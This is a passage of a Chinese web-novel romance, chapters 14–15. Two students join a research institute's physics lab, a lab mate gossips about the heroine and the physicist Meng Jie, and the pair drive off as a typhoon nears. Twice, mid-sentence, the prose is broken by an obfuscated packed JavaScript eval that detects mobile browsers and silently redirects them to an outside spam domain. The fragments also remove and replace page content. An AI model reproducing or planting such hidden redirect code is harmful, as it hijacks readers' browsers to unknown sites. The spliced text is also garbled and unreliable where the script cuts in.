有些人嘴巴上说着不熟,私底下呢,不但已经住在一起,还要在大清早玩儿这种情趣,这是板上钉钉的男女朋友吧?再不济也是friendswithbenefit啦。 李尚胡思乱想着。 这时候,孟揭理完了计算部分,顺带把这周的实验进度和安排划下去,刚一抬头,对上李尚讳莫如深的表情,他侧过脑袋,在留言板上足足停顿三秒,然后抬手反盖了。 “回去重新测算一遍,导出结果之后,我帮你申请二期实验室。” 李尚“欸”一声,注意力完全被拽回来,高兴极了:“下周二之前肯定做完!” 二期实验室呐,里边配着现今最新的激光设备,而李尚的研究是超冷原子相关,靠他自个打申请,做报告,再等审批下来,黄花菜都凉了。 孟揭虽然苛刻又冷漠,在实验室里催进度的时候就像个万恶的法西斯,他常常不留情面,两三句话就能戳得人心肝拔凉,但一个理论物理方向的天才,下来辅助他们凝聚态物理实验,去做这种可能他研究生期间就做过的实验,就好比让李尚现在回一年级去教声母和韵母。 能做个人就不错了。 而孟揭一边嘴毒,往他们的实验报告挑一百八十个毛病,一遍遍地打回去重来,一边也申请着尖端实验室,优化平衡着小组架构,让每个组员都有在导师跟前展现长处的机会,就连有时候李尚死马当活马医发给他的求助邮件,他都会回。 恨不恨?熬夜加班加点的时候真是恨得牙痒痒。 爱不爱?这一刻真是要爱死他。 来送了资料,李尚就准备回学校了,他归整着稿纸:“一会儿你还去实验室吗?” “下周会去。” 李尚把稿纸收拢好,“人事部的小连老师过来,说要在咱们实验楼里请一位老师,给学弟学妹们讲玻色-爱因斯坦凝聚体,你去吗?” “看下日程安排。” “哦好,”李尚利索地打开他的日程表,“下周二下午,三点半到五点半,你没安排。” 孟揭在屏幕上点了两下,在上边填进一个会议符号:“现在有了。” 李尚走后,孟揭慢悠悠地把咖啡粉倒出来,布粉压粉,在等待萃取时看着桌上那份三明治,留言板被他翻过来了,铁画银钩的五个字静静躺上边,有筋骨,也不缺风度。 挺好看。 比小时候那狗爬字好多了。 或许是这糟心的一早上终于来了点能入眼的东西,孟揭心情转好,竟然真拿起三明治,咬了一口。 十秒的沉默后,他低头翻动三明治。 两片面包,一片火腿,一层酱,一片菜,晏在舒究竟是怎么把这么朴素的食材,做出这么复杂的味道的? 14. 偶遇 昨天的体能考核撂翻了一群人,到底是群精力充沛的青少年,隔天又能闹哄哄地跟老徐插科打诨。 第二天的强度也没降,早上照旧排大班课,下午请了位生物科学的教授来讲学。 这位教授姓李,一头半掺白的发,穿着洗得发旧的衬衣,袖口卷到肘部,讲课的时候手微抬,另有种昂藏的英气。 一开始还嫌给小崽子们讲课没意思,而后听到了几个问题,觉得,嘿,这些新脑子倒也好使,一来二去,讲学就成了大型讨论会,和学生讨论到兴起了,李教授还磕支烟,捻在指头上。老徐眼疾手快给收了,怼他一肘,斜指一下教室角落的摄像头。 李教授吹胡子瞪眼,说老徐是教条主义。 老徐呛他:“一把年纪的老烟枪。” 李教授立刻回:“你剥夺我的工作时间,还要剥夺我的爱好?” 老徐义正言辞地怼:“邪门歪路跟爱好不沾边。” “爱好哪儿来的高低贵贱,你这是在用个人的陈旧经验来批判他人,很不可取,很片面,是对我极大的不尊重。” “那你尊重一下左上角,瞅瞅,公共场合禁止吸烟!那么大一块牌子看不到吗?我管你爱不爱好,孩子们再给学坏了怎么办。” 李教授不爱在人前丢面儿,梗着脖子:“哪儿是孩子了?有一米□□大高个的孩子吗?你拎一个问问,哪个抽得不比我花花。” 教室里一片嘘声,喊着:“我们不花花!” “去!”李教授转身,给老徐使劲儿打眼色,小声商量,“你给我,一周了,我就申请到这一根,我不抽,唉,就闻闻,闻闻啊。” 老徐一把将烟掐断了,弯腰,面不改色地压到了皮鞋底下:“你稍等会儿。” 全场哄笑。 两位专业领域里的大佬,呛起来就跟孩子似的,好像谁少讲两句,谁就矮了半截,有这么道小插曲,后来几天,不论老徐把上课强度拉得多大,把考核频率压得多高,气氛都算得上松快。 大家好像适应了全新的分组,在紧锣密鼓的学习安排里,那点陌生感逐渐被互补的默契擦去,开始卷生卷死,开始在一个接一个的课题里抛接着日月。 一周过去了。 这一周里,晏在舒很少见到孟揭,倒是有一回下课早,回到老洋房里时,正好碰见来给冰箱添置果蔬蛋奶的家政阿姨。 多问了一嘴:“孟揭也没回来,您看着采购就行了,多了吃不完。” 阿姨很温柔:“小孟说,不打紧的,要多买点速食和面包,放冰箱里自然会有人吃的。” ……这个浑球。 她拉开冰箱门,偏偏抓了整一把蓝莓,丢进碗里。 *** 一周后,学习模式从大班课转变为课题研究模式,老徐跟奥新研究总部讨论了一下,分出十四个研究课题,让他们择其一参与。 A大老校区和新校区并不是同一概念。 新校区确实是传道授业的校园,老校区其实只是个旧称,没有教学楼,而是由十三片独立的研究部门构成,进出的也不是学生,而是各个研究所的科研人员。 它有个正式的名称,叫做奥新基础研究部。 奥新在世界各地有8个分院,A大是为它泵血的中枢,也是输送人才的通道,当年奥新成立之初,是A大为其提供实验室和设备,引荐给海市科创及资源管理中心,又在国际项目中为其铺路,所以后来奥新的科学研究一直是和A大紧密联系着,有这一层关系在,奥新才会年年提供场地给璠岳营。 现在晏在舒他们上课的教室,其实就是研究部行政人员开会、举办活动的地方,但即便奥新年年给璠岳营提供场地,真正允许学生进入十三间研究所的机会还是不多,所以大伙儿都激动,等开放的研究所公布之后,嗡嗡嗡地聚在一块儿讨论。 唐甘选了半导体研究所,她家里做半导体,跟奥新本来就有合作项目,选这是理所当然。 方歧一早就被徐老盯着,拎进了图灵小组的发源地,让他去看看那些真正的大佬,别一天到晚在别人的防火墙种草。 而晏在舒选的是物理研究所。 选组结束后,小分队沿着海边小路慢慢走,不远处有人在打沙滩排球,两只小猫从树影下蹿过去,躲在自助式的冰沙贩卖机下,摆尾,乘凉,六点二十分的落日高悬,晚风推着云,到处都是亮眼的橘金色。 “你怎么选物理?”唐甘问。 “她为什么不选物理?”方歧跟着凑过来。 “边上玩儿去,”唐甘把他脑袋拨开,“小脆皮,先把筋骨贴摘了再说吧。” 晏在舒舀一口冰沙,把冬天含进嘴里:“我积极,还上进,想去尖端实验室开开眼界,顺带着给自己的履历镀金。” 唐甘嗦着冰棍,面无表情拍掌:“好有志气啊。” 晏在舒回头问方歧:“你信吗?” 方歧呼噜呼噜地扒着沙冰,闻言啊一声,愣愣点头:“信啊。” 俩姑娘都笑起来,绵密的海潮裹着笑声,被风带着飘出很远,唐甘知道得更多些,她朝晏在舒看了会儿,语气突然变得充满怜爱,转腔弄调地唱起来:“天上的星星不说话,地上的娃娃想爸爸……” 晏在舒和方歧惊恐地对视一眼,不约而同指过去:“别唱!” 小唐总被捂了嘴,想起另一件事:“哦,程度也选的是物理研究所,听说两三天前,就去跟老徐套消息了。” “嗯。” “这人消息跑得挺快。这样回想起来,他早先给咱们下绊子,估摸着是得了消息,冲着进物理研究所的名额来的,他最早找你那天,你是不是刚被老徐留下来谈话了?” 晏在舒想了想:“是。” “这就对了,他盯老徐,老徐盯你,他能不拿你当心腹大患吗?” 方歧半懂不懂:“徐教授跟你谈什么?” “谈今年暑假奥新物理研究所会为学生开放这件事儿!”唐甘把他脑袋拧回去,“按照入营后的个人积分,开放的各大研究所,我们晏崽有优先选择权。” 方歧龇牙咧嘴地跳开了:“……他也想进?” “他已经进了。” 这一周里,晏在舒组和程度组合作两次,交手两次。 很有意思,上次耍了心思,又在体能对抗落败后,程度非但没有颓丧,反而比先前更拼,那点好胜的锋芒不藏反露,在两次社科类课题结课答辩中,展露出来的棱角和锐气让很多人喜欢。 “所以说是个聪明人,知道该在什么时候,对什么人,展现什么样的特质,” 唐甘这样评价,“那次分组和体能对抗,他的心思当下没人知道,但事后顺着蛛丝马迹都摸出来了,听说还有好事的去诘问他,那两天他风评很差,但人家就是踩着劣势,顶着压力,硬生生扭转局势,老徐本来对他有意见,现在也觉得小孩子争强好胜是常事,在不触及高压线的前提下,有心思也是可以理解的。” 所以进物理研究所的名额,由原本的一个,变成了俩。 “现在你俩是没利益冲突了,算化干戈为玉帛,但那小子吧,说不好,傲是挺傲,还会来事儿,脑回路跟方歧这种是天差地别,没那么纯粹,你得防一手。” 晏在舒舀完最后一口冰沙,嘴唇冰得水红,连点两下头,说知道了。 “行吧,吃饭去。” 方歧还没从上一句脑回路中回过味来,慢吞吞地跟一句:“吃饭?” 唐甘扬声说:“吃啊,散伙饭~!” *** 这顿散伙饭后,小分队真就见得少了,进半导体研究所的第二天,唐甘连接晏在舒上学的时间都没了,一问,才知道昨儿晚上直接睡实验室的,小唐总为自家产业是真肯吃苦。 学生群里也特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12661018|133648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别安静。 大家就好像从头来过,从校园里的天之骄子,成了小说里的内门扫地僧,学霸在这里仅仅是基础配置。 就好比你会在接水的时候,碰上某个蓬头垢面的大佬,转身时惊悚地发现,天老爷,以前写论文,现在遍地走着参考文献。 或者在实验楼里偶然瞥到某个身影,越想越熟,越熟越记不起来,回头一翻教材,天老爷,那个耳熟能详的公式,就是以ta命名的。 一个个乳臭未干的小孩,跳过千辛万苦的飞升过程,获得了梦想之地的一周体验卡。 这太棒了。 都激动,都紧张,都沉进了百分百专注度,晏在舒甚至能跟程度搭手合作了。 他俩进的是物理研究所下的凝聚态物理实验室,实验室里也有研究生师兄师姐,没有实际工作需要他们参与,他们也接触不到什么机密项目,只能在给师兄师姐打打下手,看看那些只在教材上看过的设备,主打一个旁观学习,但这感觉也是截然不同的。 两天下来,知识点吸收太密,晏在舒自觉留下做一小部分进度总结,结束时已经七点了。 她揉揉发酸的脖颈,往玻璃门里一看,师姐们还在对数据,晏在舒礼貌地一一道别,揉着发酸的脖颈走出实验室。 -晏在舒:【我好像一只昏在花田里的蜜蜂。】 -糖不甜:【那我是什么?我是醉倒在瓜田的猹。】 -方方正正不倒翁:【佛光普照.gif】 -糖不甜:【你好像那种土味老干部,缺保温杯吗?】 -方方正正不倒翁:【军绿搪瓷杯.jpg】 -糖不甜:【了不起,你赢了。】 没营养的对话,是精神紧绷时的一剂舒缓药。晏在舒笑笑,刷了卡摁电梯,研究部的空调开得低,冷气一阵阵儿冒,她抱着小臂,在等电梯下行的空档里刷手机,唐甘的消息又弹进来,是一条语音,晏在舒习惯性点转换文字,但电梯顶上红色字体迅速变换,毫无阻拦地由10、9,切到8。 “叮”一声,电梯到达八楼。 她分了神,长按变成点击,冷银色的电梯门缓慢拉开,唐甘吊儿郎当的声音响在走廊尽头,打进刚刚打开的电梯里。 “你男朋友今天又夜不归宿吗?” 像一副巨幕拉开,电梯门后是七八道人影,他们原本交耳低谈着,浅言轻笑着,或者低头刷着手机,或者闲散地插兜站着,灌进来的手机外放声打破了原有的和谐气氛,一个两个地看过来。 晏在舒不动声色站着。 走廊里的冷气和电梯里的对冲,一股劲儿打在颈部,心肝拔凉。 晏在舒迈不出步子,唐甘的声音也在耳边盘桓不散,面对面两三步的距离里就站着个“夜不归宿的男朋友”,他没表情,仅仅扫过她一眼,一贯是这样事不关己的态度,但晏在舒觉得孟揭像要把她咬一口。 “我等人,你们先下,不好意思。” 有两三位前辈朝她点头微笑,表示理解,仿佛这是工作时司空见惯的场景,没有谁察觉到电梯里外,一米不到的距离里,有两个人的眼神在产生微妙的碰撞。 当然,也没有人按电梯关门键。 话音落后,电梯门开始关闭,晏在舒不着痕迹松口气, 可这时候,一直低着头看手机的李尚耳朵动了,察觉到这声音似曾相识,又一时想不起来,反应慢半拍,直到电梯门开始关了才收手机,一抬头看见晏在舒,眼睛刷地亮起来,半秒不到的时间里就按住了开门键。 电梯门关闭的趋势被止住,晏在舒装死装不熟的计划也被打破,她懵着,看到李尚对她露出一张特热络的笑脸:“好巧啊学妹,你记得我吗?” 电梯里的其余人因为这道动静,纷纷抬头看过来。 李尚一边示意她快点进,一边继续说:“我们见过的呀,哎呀,就在……” 15. 追求 “记得的。” 千钧一发的时刻,晏在舒开口,接着毫不犹豫踏进电梯门,打断了李尚即将出口的话,也对他回一个笑,“好巧,学长是在这里做课题吗?” 李尚没觉出不对,话题被轻易地带跑了:“是,我在凝聚态实验室,十六楼二期,”他抬头看眼楼层,恍然大悟,“你也在凝聚态实验室啊?” 电梯继续下行,晏在舒敏锐地捕捉到某些关联,心口一紧一松,不着痕迹地瞥一眼孟揭,说:“是,学校暑期联合开办的合作项目,来向前辈们学习。” 说完,没忘温声向电梯里其余人问好。 “哟,可以啊。”周围的同伴适时插话进来,都当她是李尚相熟的朋友,既然进了研究所,那就算是同门师妹,于是讲起话来都带了点前辈照顾后辈的和善,一人一句地轮着话题。 “大几啦?” 晏在舒轻声应:“马上大二了。” “才大二呢!”一位师姐咋舌,“没选专业呢吧?” 晏在舒说:“还在纠结,等夏校结束就要定了。” “那还考虑什么,直接选物理啊,”李尚拍掌,“大二就进奥新,这之后选课题选导师再到进研究所,多顺利啊,得少熬两年呢。” 师兄师姐们凑首问,晏在舒就一一应,机敏有礼貌,一些专业性的内容也能对答如流,电梯里气氛融洽。而孟揭始终一言不发,站在她右侧位置,他对这客套话没兴趣,只是偶尔感觉到,晏在舒回头应话时,垂下的发梢在随肩摆动,往他手臂上扫一下,又扫一下,带来阵微妙的痒。 谁也没看见。 “叮——” 电梯到达一楼,实验室伙伴们相继离开,电梯按键上的-3还亮着,孟揭没走,李尚没走。 晏在舒也没出电梯。 电梯里只剩他们仨,没了客套而琐碎的交谈声,空气一下子变得黏而沉,李尚的注意力也从散变得精,然后想起,哦,电梯里这俩人疑似是一对儿。 对,是疑似。 虽然有体育馆和老洋房那两件事在先,但李尚旁敲侧击地问了一遍社交圈子,谁也不知道孟揭的恋爱情况,李尚依靠他为数不多的感情经验,猜测吧,这俩人可能是在接触阶段,也可能是那种比较纯粹的床伴关系,李尚对这种关系没有看法,他就是好奇。 好奇孟揭这样一颗物理界新星,人帅活正有腔调,愿意往上扑的女生不少,有奔着脸来的,有奔着课题来的,但他料理起这些事情向来心狠手辣不留情,长着那张脸,非要活成个花边新闻绝缘体。 可能单调枯燥的研究工作激发了李尚性格里不太体面的角落,人都有这点劣根性,看起来越完美越严丝合缝的,就越想凿出点不一样的隐私来。 譬如孟揭看起来百毒不侵,私底下会不会也有某个得不到的白月光,会不会在夜里辗转反侧,会不会为了谁丢盔弃甲,会不会求而不得然后心理变态? 现在有这么个女生出现,为他的猜测提供了具像化的方向,他想顺着往下凿,而后发现,嘿,这姑娘也挺有意思,看起来比孟揭还难搞。 你说他俩熟吧,全程没讲半句话,连眼神都没碰一下。 你说他俩不熟吧,同居是事实吧?师妹第二天早上起来在留言板谢谢孟揭服务一晚也是事实吧。 所以说,不管是不是一对儿,不管有没有那层关系,退一万步讲,就算现在还没有事儿!李尚敢打包票,那也离着不远了。 而晏在舒接下来的那句话坐实了他的猜测。 *** 电梯门关闭,开始缓慢下行。 李尚看到墙上循环播放的台风预警,关切地说:“师妹开车了吗?台风天得注意安全。” 晏在舒转过头应:“没有,”顿两秒,“我等孟揭一起回。” 话落,李尚的表情有两三秒空白,脑子噼里啪啦快冒出火花了,嘴上干巴巴地应一句:“哦,哦,是,都在一个研究所,顺路,你们也住……住一起嘛。” 后面这句晏在舒没回应了,百无聊赖地看着电梯里模糊的虚影。 像是下了饵,想钓的那条鱼没咬上钩,仍旧悠哉地在池里转来绕去,一副事不关己的懒样子,甚至带了种“看你玩儿嗨了自己怎么收场”的欠揍态度。 孟揭没反应,李尚有反应,他沉浸在那种押题押准的独自兴奋里,八卦心熊熊燃烧,可电梯下行的速度太快,他余光刚刚把俩人拢进眼眶里,负3楼到了,孟揭先走出去,往左转,晏在舒落他两步,有意识地拉开距离,远看孟揭去取车。 “我跟孟揭走一段儿,”李尚主动解释,“就到校门口,不打扰你们。” 晏在舒一只手绕包带,说:“不会,有一件事想请师兄帮忙。” “你只管说。” “我和孟揭的事儿,没有告诉别人。” “这事儿啊!你不用担心,我嘴严,保准不讲给别人。” “谢谢师兄。” 车子缓缓驶出来,李尚挨不过好奇,求证似的又问一嘴:“你跟孟揭……是在一起吧?” “没有。” 在李尚迷茫的眼神里,晏在舒腼腆地笑了一下:“是我在追他哦。” *** 车子在校门口短暂停过,放下李尚,驶入密集的车流里。 现在是夜里七点四十分,电台里正在插播一条防台风预警,周遭的车还是多,司机们焦躁地按着喇叭看着手表,一下下地拍方向盘,甚至有降下车窗破口大骂的。 随着台风迫近,钢筋铁塔挂不住月梢,在接连数日的高温之后,来自遥远洋面的水汽在这座城市上空集合,成群结队地,凝出一层厚似一层的灰云,对着车水马龙张狂地叫嚣,把气压变低,把空气变浮躁。 而车厢里很安静。 晏在舒打了两个电话给阿嬷,叮嘱她关好门窗,再跟住家阿姨和物业邻居打好招呼,最后才看到大群里的消息。 -管理员:【根据气象局最新发布的消息,今年第二号台风“莫比”将于明日凌晨3-4点在东部沿岸登陆,登录时预计风力可达强台风级(14-15级),今日夜间到明日,本市将有大风,局地有暴雨或大暴雨。[遗憾]请各位同学注意安全,明天停课一天。】 -老徐:【刮台风了,还在研究所的赶紧回家,不要在外逗留,@林裕,非海市学生都叫回酒店,挨个电话通知。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12661019|133648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 -管理员:【全员到齐了。】 她合上手机,重新回到这安静到不同寻常的气氛里,车子缓慢而平稳地行驶,余光一直是那副景,孟揭把着方向盘,连表情都没有变化。 晏在舒注意到,他搁在边上的手机也震过几声,但他没接,半小时前的事他也没问。 没问为什么车库里取个车的功夫,李尚对他俩关系的好奇度就降到地平线下了,没问她对李尚讲了什么,也没问她为什么要上他车。 都没有。 这人内核是真的稳,也是真的冷,浑身上下罩着层看不见的盔甲,可以杜绝一切窥探的目光,他越稳,晏在舒心里越不得劲儿。 她无声转着手机,在第二个红绿灯路口轻声说:“刚刚李尚问我俩是什么关系。” 孟揭嗯声,打个弯左转。 “你没有说过吗?” “你指什么?” “感情状态。” “我们在研究所共事,不是八卦媒体。” “那他在雍家的房子里撞见过我俩,那天你没有解释?” “没有。” 行,服气。 晏在舒转头看车窗,雨还没落,风已经来了,街边的广告牌发出激烈喧哗,行人捂着脸匆匆而行,漫天的树叶在随着风尾打旋儿,小女孩手里的试卷被风卷到了半空,她抬着头,举着手,无声地望着。 这座城市的秩序正在被入侵。 “哗啦”一下,路过的大爷抓住了试卷,也抓住了晏在舒的视线,他把卷子塞回那小孩手里,指着前路让她赶快回家。晏在舒收回眼神:“我说了。” 孟揭没回声,在红灯前缓速,转头看她。 “我说,我们确实存在关系。” 孟揭没接话,眼里的兴味一点点漫上来。 “而且,”晏在舒直视他,笃定地说,“是你在追我。” *** 狂风匍匐在大地上,伸出的触角探索着城市的大街小巷,踹翻了垃圾桶,掀倒了锅盖,把道旁的树摧得吱呀哀嚎。 红灯很长,孟揭开车时也没有听歌的习惯,两人对视着,呼吸裹在隐约的风声里,有那么一瞬间,像是被外界的失序影响,勾起了点儿说不清道不明的情绪。 红灯进入10秒倒计时,孟揭转过头,看起来像是突然就意兴阑珊了,晏在舒也悠哉地收回视线,绿灯正好亮起,车子驶出白线的一霎那,又听到孟揭说。 “你那夜不归宿的男朋友知道你在被人追吗?” 晏在舒早想好了措辞:“知道与不知道都不打紧,也没妨碍。” “那对我也没妨碍,”孟揭突然打一把方向盘,“也不打紧。” 车子拐进左侧车道,在本该直行的路上往左前方拐去,晏在舒立刻有了警觉:“你去哪儿?” 这不是上环岛路的道儿。 话落的同时,孟揭猛踩一脚油门,眼前的夜景像拉链,迎着车头一道道为他们拉开,又迅速成为车窗上残留的一点虚影,车子驶出数百米,安静了一晚上的孟揭这才坐直身,状态起来了,也开始控场了。 “你上别人车的时候,没问过人去哪儿吗?”